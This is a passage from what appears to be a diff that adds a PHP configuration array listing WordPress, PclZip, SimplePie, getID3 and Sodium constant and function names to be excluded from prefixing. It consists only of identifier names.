'EBML_ID_SEEK', + 'EBML_ID_SEEKHEAD', + 'EBML_ID_SEEKID', + 'EBML_ID_SEEKPOSITION', + 'EBML_ID_SEGMENT', + 'EBML_ID_SEGMENTFAMILY', + 'EBML_ID_SEGMENTFILENAME', + 'EBML_ID_SEGMENTUID', + 'EBML_ID_SIMPLETAG', + 'EBML_ID_STEREOMODE', + 'EBML_ID_TAG', + 'EBML_ID_TAGATTACHMENTUID', + 'EBML_ID_TAGBINARY', + 'EBML_ID_TAGCHAPTERUID', + 'EBML_ID_TAGDEFAULT', + 'EBML_ID_TAGEDITIONUID', + 'EBML_ID_TAGLANGUAGE', + 'EBML_ID_TAGNAME', + 'EBML_ID_TAGS', + 'EBML_ID_TAGSTRING', + 'EBML_ID_TAGTRACKUID', + 'EBML_ID_TARGETS', + 'EBML_ID_TARGETTYPE', + 'EBML_ID_TARGETTYPEVALUE', + 'EBML_ID_TIMECODESCALE', + 'EBML_ID_TITLE', + 'EBML_ID_TRACKENTRY', + 'EBML_ID_TRACKNUMBER', + 'EBML_ID_TRACKOFFSET', + 'EBML_ID_TRACKOVERLAY', + 'EBML_ID_TRACKS', + 'EBML_ID_TRACKTIMECODESCALE', + 'EBML_ID_TRACKTRANSLATE', + 'EBML_ID_TRACKTRANSLATECODEC', + 'EBML_ID_TRACKTRANSLATEEDITIONUID', + 'EBML_ID_TRACKTRANSLATETRACKID', + 'EBML_ID_TRACKTYPE', + 'EBML_ID_TRACKUID', + 'EBML_ID_VIDEO', + 'EBML_ID_VOID', + 'EBML_ID_WRITINGAPP', + 'EB_IN_BYTES', + 'EMPTY_TRASH_DAYS', + 'ENT_SUBSTITUTE', + 'EP_ALL', + 'EP_ALL_ARCHIVES', + 'EP_ATTACHMENT', + 'EP_AUTHORS', + 'EP_CATEGORIES', + 'EP_COMMENTS', + 'EP_DATE', + 'EP_DAY', + 'EP_MONTH', + 'EP_NONE', + 'EP_PAGES', + 'EP_PERMALINK', + 'EP_ROOT', + 'EP_SEARCH', + 'EP_TAGS', + 'EP_YEAR', + 'EZSQL_VERSION', + 'FORCE_SSL_ADMIN', + 'FS_CHMOD_DIR', + 'FS_CHMOD_FILE', + 'FS_CONNECT_TIMEOUT', + 'FS_TIMEOUT', + 'FTP_ASCII', + 'FTP_AUTOASCII', + 'FTP_BINARY', + 'FTP_FORCE', + 'FTP_OS_Mac', + 'FTP_OS_Unix', + 'FTP_OS_Windows', + 'GB_IN_BYTES', + 'GETID3_FLV_TAG_AUDIO', + 'GETID3_FLV_TAG_META', + 'GETID3_FLV_TAG_VIDEO', + 'GETID3_FLV_VIDEO_H263', + 'GETID3_FLV_VIDEO_H264', + 'GETID3_FLV_VIDEO_SCREEN', + 'GETID3_FLV_VIDEO_SCREENV2', + 'GETID3_FLV_VIDEO_VP6FLV', + 'GETID3_FLV_VIDEO_VP6FLV_ALPHA', + 'GETID3_HELPERAPPSDIR', + 'GETID3_INCLUDEPATH', + 'GETID3_LIBXML_OPTIONS', + 'GETID3_OS_ISWINDOWS', + 'GETID3_TEMP_DIR', + 'H264_AVC_SEQUENCE_HEADER', + 'H264_PROFILE_BASELINE', + 'H264_PROFILE_EXTENDED', + 'H264_PROFILE_HIGH', + 'H264_PROFILE_HIGH10', + 'H264_PROFILE_HIGH422', + 'H264_PROFILE_HIGH444', + 'H264_PROFILE_HIGH444_PREDICTIVE', + 'H264_PROFILE_MAIN', + 'HEADER_IMAGE', + 'HEADER_IMAGE_HEIGHT', + 'HEADER_IMAGE_WIDTH', + 'HEADER_TEXTCOLOR', + 'HOUR_IN_SECONDS', + 'IFRAME_REQUEST', + 'IMAGETYPE_AVIF', + 'IMAGETYPE_HEIF', + 'IMG_AVIF', + 'IS_PROFILE_PAGE', + 'KB_IN_BYTES', + 'LANGDIR', + 'LOGGED_IN_COOKIE', + 'LOGGED_IN_KEY', + 'LOGGED_IN_SALT', + 'MAGPIE_CACHE_AGE', + 'MAGPIE_CACHE_DIR', + 'MAGPIE_CACHE_FRESH_ONLY', + 'MAGPIE_CACHE_ON', + 'MAGPIE_DEBUG', + 'MAGPIE_FETCH_TIME_OUT', + 'MAGPIE_INITALIZED', + 'MAGPIE_USER_AGENT', + 'MAGPIE_USE_GZIP', + 'MATROSKA_DEFAULT_TIMECODESCALE', + 'MATROSKA_SCAN_FIRST_CLUSTER', + 'MATROSKA_SCAN_HEADER', + 'MATROSKA_SCAN_LAST_CLUSTER', + 'MATROSKA_SCAN_WHOLE_FILE', + 'MB_IN_BYTES', + 'MEDIA_TRASH', + 'MINUTE_IN_SECONDS', + 'MONTH_IN_SECONDS', + 'MS_FILES_REQUEST', + 'MULTISITE', + 'MUPLUGINDIR', + 'NONCE_KEY', + 'NONCE_SALT', + 'NO_HEADER_TEXT', + 'OBJECT', + 'OBJECT_K', + 'PASS_COOKIE', + 'PB_IN_BYTES', + 'PCLZIP_ATT_FILE_COMMENT', + 'PCLZIP_ATT_FILE_CONTENT', + 'PCLZIP_ATT_FILE_MTIME', + 'PCLZIP_ATT_FILE_NAME', + 'PCLZIP_ATT_FILE_NEW_FULL_NAME', + 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', + 'PCLZIP_CB_POST_ADD', + 'PCLZIP_CB_POST_EXTRACT', + 'PCLZIP_CB_PRE_ADD', + 'PCLZIP_CB_PRE_EXTRACT', + 'PCLZIP_ERROR_EXTERNAL', + 'PCLZIP_ERR_ALREADY_A_DIRECTORY', + 'PCLZIP_ERR_BAD_CHECKSUM', + 'PCLZIP_ERR_BAD_EXTENSION', + 'PCLZIP_ERR_BAD_EXTRACTED_FILE', + 'PCLZIP_ERR_BAD_FORMAT', + 'PCLZIP_ERR_DELETE_FILE_FAIL', + 'PCLZIP_ERR_DIRECTORY_RESTRICTION', + 'PCLZIP_ERR_DIR_CREATE_FAIL', + 'PCLZIP_ERR_FILENAME_TOO_LONG', + 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', + 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', + 'PCLZIP_ERR_INVALID_OPTION_VALUE', + 'PCLZIP_ERR_INVALID_PARAMETER', + 'PCLZIP_ERR_INVALID_ZIP', + 'PCLZIP_ERR_MISSING_FILE', + 'PCLZIP_ERR_MISSING_OPTION_VALUE', + 'PCLZIP_ERR_NO_ERROR', + 'PCLZIP_ERR_READ_OPEN_FAIL', + 'PCLZIP_ERR_RENAME_FILE_FAIL', + 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', + 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', + 'PCLZIP_ERR_USER_ABORTED', + 'PCLZIP_ERR_WRITE_OPEN_FAIL', + 'PCLZIP_OPT_ADD_COMMENT', + 'PCLZIP_OPT_ADD_PATH', + 'PCLZIP_OPT_ADD_TEMP_FILE_OFF', + 'PCLZIP_OPT_ADD_TEMP_FILE_ON', + 'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD', + 'PCLZIP_OPT_BY_EREG', + 'PCLZIP_OPT_BY_INDEX', + 'PCLZIP_OPT_BY_NAME', + 'PCLZIP_OPT_BY_PREG', + 'PCLZIP_OPT_COMMENT', + 'PCLZIP_OPT_EXTRACT_AS_STRING', + 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', + 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', + 'PCLZIP_OPT_NO_COMPRESSION', + 'PCLZIP_OPT_PATH', + 'PCLZIP_OPT_PREPEND_COMMENT', + 'PCLZIP_OPT_REMOVE_ALL_PATH', + 'PCLZIP_OPT_REMOVE_PATH', + 'PCLZIP_OPT_REPLACE_NEWER', + 'PCLZIP_OPT_SET_CHMOD', + 'PCLZIP_OPT_STOP_ON_ERROR', + 'PCLZIP_OPT_TEMP_FILE_OFF', + 'PCLZIP_OPT_TEMP_FILE_ON', + 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', + 'PCLZIP_READ_BLOCK_SIZE', + 'PCLZIP_SEPARATOR', + 'PCLZIP_TEMPORARY_DIR', + 'PCLZIP_TEMPORARY_FILE_RATIO', + 'PHP_INT_MIN', + 'PLUGINDIR', + 'PLUGINS_COOKIE_PATH', + 'PO_MAX_LINE_LEN', + 'RECOVERY_MODE_COOKIE', + 'REQUESTS_AUTOLOAD_REGISTERED', + 'REQUESTS_SILENCE_PSR0_DEPRECATIONS', + 'REST_API_VERSION', + 'REST_REQUEST', + 'RSS', + 'SCRIPT_DEBUG', + 'SECURE_AUTH_COOKIE', + 'SECURE_AUTH_KEY', + 'SECURE_AUTH_SALT', + 'SERVICES_JSON_IN_ARR', + 'SERVICES_JSON_IN_CMT', + 'SERVICES_JSON_IN_OBJ', + 'SERVICES_JSON_IN_STR', + 'SERVICES_JSON_LOOSE_TYPE', + 'SERVICES_JSON_SLICE', + 'SERVICES_JSON_SUPPRESS_ERRORS', + 'SERVICES_JSON_USE_TO_JSON', + 'SHORTINIT', + 'SIMPLEPIE_BUILD', + 'SIMPLEPIE_CONSTRUCT_ALL', + 'SIMPLEPIE_CONSTRUCT_BASE64', + 'SIMPLEPIE_CONSTRUCT_HTML', + 'SIMPLEPIE_CONSTRUCT_IRI', + 'SIMPLEPIE_CONSTRUCT_MAYBE_HTML', + 'SIMPLEPIE_CONSTRUCT_NONE', + 'SIMPLEPIE_CONSTRUCT_TEXT', + 'SIMPLEPIE_CONSTRUCT_XHTML', + 'SIMPLEPIE_FILE_SOURCE_CURL', + 'SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS', + 'SIMPLEPIE_FILE_SOURCE_FSOCKOPEN', + 'SIMPLEPIE_FILE_SOURCE_LOCAL', + 'SIMPLEPIE_FILE_SOURCE_NONE', + 'SIMPLEPIE_FILE_SOURCE_REMOTE', + 'SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY', + 'SIMPLEPIE_LINKBACK', + 'SIMPLEPIE_LOCATOR_ALL', + 'SIMPLEPIE_LOCATOR_AUTODISCOVERY', + 'SIMPLEPIE_LOCATOR_LOCAL_BODY', + 'SIMPLEPIE_LOCATOR_LOCAL_EXTENSION', + 'SIMPLEPIE_LOCATOR_NONE', + 'SIMPLEPIE_LOCATOR_REMOTE_BODY', + 'SIMPLEPIE_LOCATOR_REMOTE_EXTENSION', + 'SIMPLEPIE_LOWERCASE', + 'SIMPLEPIE_NAME', + 'SIMPLEPIE_NAMESPACE_ATOM_03', + 'SIMPLEPIE_NAMESPACE_ATOM_10', + 'SIMPLEPIE_NAMESPACE_DC_10', + 'SIMPLEPIE_NAMESPACE_DC_11', + 'SIMPLEPIE_NAMESPACE_GEORSS', + 'SIMPLEPIE_NAMESPACE_ITUNES', + 'SIMPLEPIE_NAMESPACE_MEDIARSS', + 'SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG', + 'SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2', + 'SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3', + 'SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4', + 'SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5', + 'SIMPLEPIE_NAMESPACE_RDF', + 'SIMPLEPIE_NAMESPACE_RSS_090', + 'SIMPLEPIE_NAMESPACE_RSS_10', + 'SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT', + 'SIMPLEPIE_NAMESPACE_RSS_20', + 'SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO', + 'SIMPLEPIE_NAMESPACE_XHTML', + 'SIMPLEPIE_NAMESPACE_XML', + 'SIMPLEPIE_PCRE_HTML_ATTRIBUTE', + 'SIMPLEPIE_PCRE_XML_ATTRIBUTE', + 'SIMPLEPIE_SAME_CASE', + 'SIMPLEPIE_TYPE_ALL', + 'SIMPLEPIE_TYPE_ATOM_03', + 'SIMPLEPIE_TYPE_ATOM_10', + 'SIMPLEPIE_TYPE_ATOM_ALL', + 'SIMPLEPIE_TYPE_NONE', + 'SIMPLEPIE_TYPE_RSS_090', + 'SIMPLEPIE_TYPE_RSS_091', + 'SIMPLEPIE_TYPE_RSS_091_NETSCAPE', + 'SIMPLEPIE_TYPE_RSS_091_USERLAND', + 'SIMPLEPIE_TYPE_RSS_092', + 'SIMPLEPIE_TYPE_RSS_093', + 'SIMPLEPIE_TYPE_RSS_094', + 'SIMPLEPIE_TYPE_RSS_10', + 'SIMPLEPIE_TYPE_RSS_20', + 'SIMPLEPIE_TYPE_RSS_ALL', + 'SIMPLEPIE_TYPE_RSS_RDF', + 'SIMPLEPIE_TYPE_RSS_SYNDICATION', + 'SIMPLEPIE_UPPERCASE', + 'SIMPLEPIE_URL', + 'SIMPLEPIE_USERAGENT', + 'SIMPLEPIE_VERSION', + 'SITECOOKIEPATH', + 'SODIUM_BASE64_VARIANT_ORIGINAL', + 'SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING', + 'SODIUM_BASE64_VARIANT_URLSAFE', + 'SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING', + 'SODIUM_COMPAT_AEGIS_C0', + 'SODIUM_COMPAT_AEGIS_C1', + 'SODIUM_COMPAT_POLYFILLED_RISTRETTO255', + 'SODIUM_CRYPTO_AEAD_AEGIS128L_ABYTES', + 'SODIUM_CRYPTO_AEAD_AEGIS128L_KEYBYTES', + 'SODIUM_CRYPTO_AEAD_AEGIS128L_NPUBBYTES', + 'SODIUM_CRYPTO_AEAD_AEGIS128L_NSECBYTES', + 'SODIUM_CRYPTO_AEAD_AEGIS256_ABYTES', + 'SODIUM_CRYPTO_AEAD_AEGIS256_KEYBYTES', + 'SODIUM_CRYPTO_AEAD_AEGIS256_NPUBBYTES', + 'SODIUM_CRYPTO_AEAD_AEGIS256_NSECBYTES', + 'SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES', + 'SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES', + 'SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES', + 'SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES', + 'SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES', + 'SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES', + 'SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES', + 'SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES', + 'SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES', + 'SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES', + 'SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES', + 'SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES', + 'SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES', + 'SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES', + 'SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES', + 'SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES', + 'SODIUM_CRYPTO_AUTH_BYTES', + 'SODIUM_CRYPTO_AUTH_KEYBYTES', + 'SODIUM_CRYPTO_BOX_KEYPAIRBYTES', + 'SODIUM_CRYPTO_BOX_MACBYTES', + 'SODIUM_CRYPTO_BOX_NONCEBYTES', + 'SODIUM_CRYPTO_BOX_PUBLICKEYBYTES', + 'SODIUM_CRYPTO_BOX_SEALBYTES', + 'SODIUM_CRYPTO_BOX_SECRETKEYBYTES', + 'SODIUM_CRYPTO_BOX_SEEDBYTES', + 'SODIUM_CRYPTO_CORE_RISTRETTO255_BYTES', + 'SODIUM_CRYPTO_CORE_RISTRETTO255_HASHBYTES', + 'SODIUM_CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES', + 'SODIUM_CRYPTO_CORE_RISTRETTO255_SCALARBYTES', + 'SODIUM_CRYPTO_GENERICHASH_BYTES', + 'SODIUM_CRYPTO_GENERICHASH_BYTES_MAX', + 'SODIUM_CRYPTO_GENERICHASH_BYTES_MIN', + 'SODIUM_CRYPTO_GENERICHASH_KEYBYTES', + 'SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX', + 'SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN', + 'SODIUM_CRYPTO_KDF_BYTES_MAX', + 'SODIUM_CRYPTO_KDF_BYTES_MIN', + 'SODIUM_CRYPTO_KDF_CONTEXTBYTES', + 'SODIUM_CRYPTO_KDF_KEYBYTES', + 'SODIUM_CRYPTO_KX_BYTES', + 'SODIUM_CRYPTO_KX_KEYPAIRBYTES', + 'SODIUM_CRYPTO_KX_PRIMITIVE', + 'SODIUM_CRYPTO_KX_PUBLICKEYBYTES', + 'SODIUM_CRYPTO_KX_SECRETKEYBYTES', + 'SODIUM_CRYPTO_KX_SEEDBYTES', + 'SODIUM_CRYPTO_KX_SESSIONKEYBYTES', + 'SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13', + 'SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13', + 'SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE', + 'SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE', + 'SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE', + 'SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE', + 'SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE', + 'SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE', + 'SODIUM_CRYPTO_PWHASH_SALTBYTES', + 'SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE', + 'SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE', + 'SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE', + 'SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE', + 'SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES', + 'SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX', + 'SODIUM_CRYPTO_PWHASH_STRPREFIX', + 'SODIUM_CRYPTO_SCALARMULT_BYTES', + 'SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_BYTES', + 'SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES', + 'SODIUM_CRYPTO_SCALARMULT_SCALARBYTES', + 'SODIUM_CRYPTO_SECRETBOX_KEYBYTES', + 'SODIUM_CRYPTO_SECRETBOX_MACBYTES', + 'SODIUM_CRYPTO_SECRETBOX_NONCEBYTES', + 'SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES', + 'SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES', + 'SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES', + 'SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX', + 'SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL', + 'SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL', + 'SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH', + 'SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY', + 'SODIUM_CRYPTO_SHORTHASH_BYTES', + 'SODIUM_CRYPTO_SHORTHASH_KEYBYTES', + 'SODIUM_CRYPTO_SIGN_BYTES', + 'SODIUM_CRYPTO_SIGN_KEYPAIRBYTES', + 'SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES', + 'SODIUM_CRYPTO_SIGN_SECRETKEYBYTES', + 'SODIUM_CRYPTO_SIGN_SEEDBYTES', + 'SODIUM_CRYPTO_STREAM_KEYBYTES', + 'SODIUM_CRYPTO_STREAM_NONCEBYTES', + 'SODIUM_CRYPTO_STREAM_XCHACHA20_KEYBYTES', + 'SODIUM_CRYPTO_STREAM_XCHACHA20_NONCEBYTES', + 'SODIUM_LIBRARY_MAJOR_VERSION', + 'SODIUM_LIBRARY_MINOR_VERSION', + 'SODIUM_LIBRARY_VERSION', + 'STYLESHEETPATH', + 'SUBDOMAIN_INSTALL', + 'TB_IN_BYTES', + 'TEMPLATEPATH', + 'TEST_COOKIE', + 'UPLOADBLOGSDIR', + 'UPLOADS', + 'USER_COOKIE', + 'VHOST', + 'WEEK_IN_SECONDS', + 'WPINC', + 'WPMU_ACCEL_REDIRECT', + 'WPMU_PLUGIN_DIR', + 'WPMU_PLUGIN_URL', + 'WPMU_SENDFILE', + 'WP_ADMIN', + 'WP_BLOG_ADMIN', + 'WP_CACHE', + 'WP_CONTENT_DIR', + 'WP_CONTENT_URL', + 'WP_CRON_LOCK_TIMEOUT', + 'WP_DEBUG', + 'WP_DEBUG_DISPLAY', + 'WP_DEBUG_LOG', + 'WP_DEFAULT_THEME', + 'WP_DEVELOPMENT_MODE', + 'WP_FEATURE_BETTER_PASSWORDS', + 'WP_IMPORTING', + 'WP_INSTALLING', + 'WP_INSTALLING_NETWORK', + 'WP_LANG_DIR', + 'WP_LOAD_IMPORTERS', + 'WP_MAIL_INTERVAL', + 'WP_MAX_MEMORY_LIMIT', + 'WP_MEMORY_LIMIT', + 'WP_NETWORK_ADMIN', + 'WP_PLUGIN_DIR', + 'WP_PLUGIN_URL', + 'WP_POST_REVISIONS', + 'WP_REPAIRING', + 'WP_SANDBOX_SCRAPING', + 'WP_SETUP_CONFIG', + 'WP_START_TIMESTAMP', + 'WP_TEMPLATE_PART_AREA_FOOTER', + 'WP_TEMPLATE_PART_AREA_HEADER', + 'WP_TEMPLATE_PART_AREA_NAVIGATION_OVERLAY', + 'WP_TEMPLATE_PART_AREA_SIDEBAR', + 'WP_TEMPLATE_PART_AREA_UNCATEGORIZED', + 'WP_UNINSTALL_PLUGIN', + 'WP_USER_ADMIN', + 'WP_USE_THEMES', + 'WXR_VERSION', + 'XMLRPC_REQUEST', + 'YB_IN_BYTES', + 'YEAR_IN_SECONDS', + 'ZB_IN_BYTES', + 'object', + ), + 'exclude-functions' => array( + 'PclZipUtilCopyBlock', + 'PclZipUtilOptionText', + 'PclZipUtilPathInclusion', + 'PclZipUtilPathReduction', + 'PclZipUtilRename', + 'PclZipUtilTranslateWinPath', + 'WP_Filesystem', + '_', + '__', + '__checked_selected_helper', + '__clear_multi_author_cache', + '__get_option', + '__ngettext', + '__ngettext_noop', + '__return_empty_array', + '__return_empty_string', + '__return_false', + '__return_null', + '__return_true', + '__return_zero', + '_access_denied_splash', + '_add_block_template_info', + '_add_block_template_part_area_info', + '_add_default_theme_supports', + '_add_plugin_file_editor_to_tools', + '_add_post_type_submenus', + '_add_template_loader_filters', + '_add_themes_utility_last', + '_admin_bar_bump_cb', + '_admin_notice_post_locked', + '_admin_search_query', + '_ajax_wp_die_handler', + '_autop_newline_preservation_helper', + '_block_bindings_pattern_overrides_get_value', + '_block_bindings_post_data_get_value', + '_block_bindings_post_meta_get_value', + '_block_bindings_term_data_get_value', + '_block_template_add_skip_link', + '_block_template_render_title_tag', + '_block_template_render_without_post_block_context', + '_block_template_viewport_meta_tag', + '_build_block_template_object_from_post_object', + '_build_block_template_result_from_file', + '_build_block_template_result_from_post', + '_c', + '_canonical_charset', + '_cleanup_header_comment', + '_cleanup_image_add_caption', + '_clear_modified_cache_on_transition_comment_status', + '_close_comments_for_old_post', + '_close_comments_for_old_posts', + '_config_wp_home', + '_config_wp_siteurl', + '_copy_image_file', + '_count_posts_cache_key', + '_crop_image_resource', + '_custom_background_cb', + '_custom_header_background_just_in_time', + '_custom_logo_header_styles', + '_customizer_mobile_viewport_meta', + '_deep_replace', + '_default_wp_die_handler', + '_delete_attachment_theme_mod', + '_delete_custom_logo_on_remove_site_logo', + '_delete_option_fresh_site', + '_delete_site_logo_on_remove_custom_logo', + '_delete_site_logo_on_remove_custom_logo_on_setup_theme', + '_delete_site_logo_on_remove_theme_mods', + '_deprecated_argument', + '_deprecated_class', + '_deprecated_constructor', + '_deprecated_file', + '_deprecated_function', + '_deprecated_hook', + '_device_can_upload', + '_disable_block_editor_for_navigation_post_type', + '_disable_content_editor_for_navigation_post_type', + '_doing_it_wrong', + '_draft_or_post_title', + '_e', + '_enable_content_editor_for_navigation_post_type', + '_ex', + '_excerpt_render_inner_blocks', + '_excerpt_render_inner_columns_blocks', + '_fetch_remote_file', + '_filter_block_content_callback', + '_filter_block_template_part_area', + '_filter_do_shortcode_context', + '_filter_query_attachment_filenames', + '_find_post_by_old_date', + '_find_post_by_old_slug', + '_fix_attachment_links', + '_flatten_blocks', + '_flip_image_resource', + '_future_post_hook', + '_get_additional_user_keys', + '_get_admin_bar_pref', + '_get_block_template_file', + '_get_block_templates_files', + '_get_block_templates_paths', + '_get_comment_reply_id', + '_get_component_from_parsed_url_array', + '_get_cron_array', + '_get_cron_lock', + '_get_custom_object_labels', + '_get_dropins', + '_get_last_post_time', + '_get_list_table', + '_get_meta_table', + '_get_non_cached_ids', + '_get_page_link', + '_get_path_to_translation', + '_get_path_to_translation_from_lang_dir', + '_get_plugin_data_markup_translate', + '_get_plugin_from_callback', + '_get_post_ancestors', + '_get_random_header_data', + '_get_template_edit_filename', + '_get_term_children', + '_get_term_hierarchy', + '_get_widget_id_base', + '_get_wptexturize_shortcode_regex', + '_get_wptexturize_split_regex', + '_http_build_query', + '_image_get_preview_ratio', + '_inject_theme_attribute_in_block_template_content', + '_inject_theme_attribute_in_template_part_block', + '_insert_into_post_button', + '_is_utf8_charset', + '_is_valid_nav_menu_item', + '_json_wp_die_handler', + '_jsonp_wp_die_handler', + '_links_add_base', + '_links_add_target', + '_list_meta_row', + '_load_image_to_edit_path', + '_load_remote_block_patterns', + '_load_remote_featured_patterns', + '_load_script_textdomain_from_src', + '_load_textdomain_just_in_time', + '_local_storage_notice', + '_make_cat_compat', + '_make_clickable_rel_attr', + '_make_email_clickable_cb', + '_make_url_clickable_cb', + '_make_web_ftp_clickable_cb', + '_maybe_update_core', + '_maybe_update_plugins', + '_maybe_update_themes', + '_mb_strlen', + '_mb_substr', + '_mce_set_direction', + '_media_button', + '_media_states', + '_n', + '_n_noop', + '_nav_menu_item_id_use_once', + '_navigation_markup', + '_nc', + '_nx', + '_nx_noop', + '_oembed_create_xml', + '_oembed_filter_feed_content', + '_oembed_rest_pre_serve_request', + '_override_custom_logo_theme_mod', + '_pad_term_counts', + '_page_traverse_name', + '_post_format_get_term', + '_post_format_get_terms', + '_post_format_link', + '_post_format_request', + '_post_format_wp_get_object_terms', + '_post_states', + '_post_type_meta_capabilities', + '_preload_old_requests_classes_and_interfaces', + '_preview_theme_stylesheet_filter', + '_preview_theme_template_filter', + '_prime_comment_caches', + '_prime_network_caches', + '_prime_post_caches', + '_prime_post_parent_id_caches', + '_prime_site_caches', + '_prime_term_caches', + '_print_emoji_detection_script', + '_print_scripts', + '_print_styles', + '_publish_post_hook', + '_redirect_to_about_wordpress', + '_register_block_bindings_pattern_overrides_source', + '_register_block_bindings_post_data_source', + '_register_block_bindings_post_meta_source', + '_register_block_bindings_term_data_source', + '_register_core_block_patterns_and_categories', + '_register_remote_theme_patterns', + '_register_theme_block_patterns', + '_register_widget_form_callback', + '_register_widget_update_callback', + '_relocate_children', + '_remove_qs_args_if_not_in_url', + '_remove_theme_attribute_from_template_part_block', + '_remove_theme_attribute_in_block_template_content', + '_remove_theme_support', + '_reset_front_page_settings_for_post', + '_resolve_home_block_template', + '_resolve_template_for_new_post', + '_response_to_rss', + '_rest_array_intersect_key_recursive', + '_restore_wpautop_hook', + '_rotate_image_resource', + '_sanitize_text_fields', + '_save_post_hook', + '_scalar_wp_die_handler', + '_search_terms_tidy', + '_set_cron_array', + '_set_preview', + '_show_post_preview', + '_sort_name_callback', + '_sort_nav_menu_items', + '_sort_uname_callback', + '_split_shared_term', + '_split_str_by_whitespace', + '_strip_template_file_suffix', + '_sync_custom_logo_to_site_logo', + '_thickbox_path_admin_subfolder', + '_transition_post_status', + '_truncate_post_slug', + '_unzip_file_pclzip', + '_unzip_file_ziparchive', + '_update_blog_date_on_post_delete', + '_update_blog_date_on_post_publish', + '_update_generic_term_count', + '_update_post_term_count', + '_update_posts_count_on_delete', + '_update_posts_count_on_transition_post_status', + '_update_term_count_on_transition_post_status', + '_upgrade_422_find_genericons_files_in_folder', + '_upgrade_422_remove_genericons', + '_upgrade_440_force_deactivate_incompatible_plugins', + '_upgrade_core_deactivate_incompatible_plugins', + '_upgrade_cron_array', + '_usort_by_first_member', + '_usort_terms_by_ID', + '_usort_terms_by_name', + '_validate_cache_id', + '_walk_bookmarks', + '_wp_add_additional_image_sizes', + '_wp_add_block_level_preset_styles', + '_wp_add_block_level_presets_class', + '_wp_add_global_attributes', + '_wp_admin_bar_init', + '_wp_admin_html_begin', + '_wp_after_delete_font_family', + '_wp_ajax_add_hierarchical_term', + '_wp_ajax_delete_comment_response', + '_wp_ajax_menu_quick_search', + '_wp_array_get', + '_wp_array_set', + '_wp_auto_add_pages_to_menu', + '_wp_batch_split_terms', + '_wp_batch_update_comment_type', + '_wp_before_delete_font_face', + '_wp_block_editor_posts_page_notice', + '_wp_block_theme_register_classic_sidebars', + '_wp_build_title_and_description_for_single_post_type_block_template', + '_wp_build_title_and_description_for_taxonomy_block_template', + '_wp_call_all_hook', + '_wp_can_use_pcre_u', + '_wp_check_alternate_file_names', + '_wp_check_existing_file_names', + '_wp_check_for_scheduled_split_terms', + '_wp_check_for_scheduled_update_comment_type', + '_wp_check_split_default_terms', + '_wp_check_split_nav_menu_terms', + 